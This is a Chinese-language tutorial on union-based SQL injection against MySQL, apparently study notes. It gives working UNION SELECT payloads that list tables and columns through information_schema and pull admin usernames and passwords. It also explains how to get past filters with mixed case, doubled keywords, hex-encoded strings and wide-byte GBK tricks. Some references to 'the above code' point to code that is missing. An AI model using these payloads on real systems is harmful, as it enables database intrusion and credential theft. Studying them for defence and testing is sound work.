联合注入的原理
在SQL语句中查询数据时,使用select 相关语句与where 条件子句筛选符合条件的记录。
select * from person where id = 1; #在person表中,筛选出id=1的记录
如果该id=1 中的1 是用户可以控制输入的部分时,就有可能存在SQL注入漏洞。
数据库提供联合查询,使得可以将两条SQL查询语句的结果进行连接。务必注意:两者的字段数必须一致。
select * from person where id = 1 union select 1,2,database(),4,5;
判断联合查询语句中的字段数时,可以使用order by num 。当依次增大num时,如果出现错误,那么上 一条SQL查询语句的结果字段数就为num-1。
联合查询利用SQL注入漏洞语句:
(1)执行联合查询
select * from person where id = 1 union select 1,2,3,4,5;
(2)查询数据库名、版本号、用户信息
select * from person where id = 1 union select 1,2,database(),version(),user();
(3)查询数据表名
select * from person where id = 1 union select 1,2,(select table_name from
information_schema.tables where table_schema=database() limit 0,1),4,5;
或
select * from person where id = 1 union select 1,2,(select group_concat(table_name)
from information_schema.tables where table_schema=database()),4,5;
(4)查询字段名
select * from person where id = 1 union select 1,2,(select group_concat(column_name)
from information_schema.columns where table_name='admin'),4,5;
或
select * from person where id = 1 union select 1,2,(select group_concat(column_name)
from information_schema.columns where table_name=0x61646D696E),4,5;
(5)查询具体数据
select * from person where id = 1 union select 1,concat(username,0x5c,password),3,4,5 from admin;
或select * from person where id = 1 union select 1,concat(username,0x5c,password),3,4,5 from admin limit 0,2;
联合注入不适用情形:
1、union关键字被完全过滤
2、页面中压根不返回查询数据
联合注入过滤绕过技巧:
1、大小写绕过
基础:在Mysql中,大小写字母的含义是一致的。如果在进行过滤提交的数据过程中,没有对大小 进行区分,那么此时就会造成大小写绕过过滤的情况。
以上代码,都只匹配到union,并没有过滤大写字母,因此可以使用 大小写绕过。
2、双写绕过
基础:在使用 preg_replace 函数过程中,默认情况下 只进行一次匹配。因此如果匹配到字符替换 为空的情况 ,就可以造成双写绕过。
以上代码,使用i 表示大小写全部匹配,此时无法使用双写绕过。但是由于preg_replace默认只匹配一次 过滤字符,因此可以使用双写绕过。
3、过滤单引号绕过 十六进制
基础:在Mysql数据库中的SQL语句,对于字符串数据必须使用引号。但是对于字符串来说,Mysql 也识别 字符串中每个字符对应的ASCII码的16进制,此时可以使用 0x16进制替换字符串。从而绕过 引号对字符串的限制。
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是: 单引号(') 双引号(") 反斜杠(\) NULL
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
在php.ini配置文件中,开启 magic_quotes_gpc 选项,此时对于数字型注入来说,如果需要进行数 据库中数据获取,需要使用十六进制进行绕过。但是对于字符型注入来说,就需要进行逃逸引号的操 作。
4、宽字节注入原理与利用
基础:如果数据库中存储数据使用 的编码方式是 GBK,那么由于用户输入的内容会进行双字节的 组合,会导致用户输入的字节与反斜杠组合,从而逃逸引号。
宽字节注入可以说是一种逃逸引号的技巧,利用双字节组合导致注入产生。
注意有一种情况下无法使用 联合查询注入利用方式:preg_match('/union/i',$sql), 完全过滤。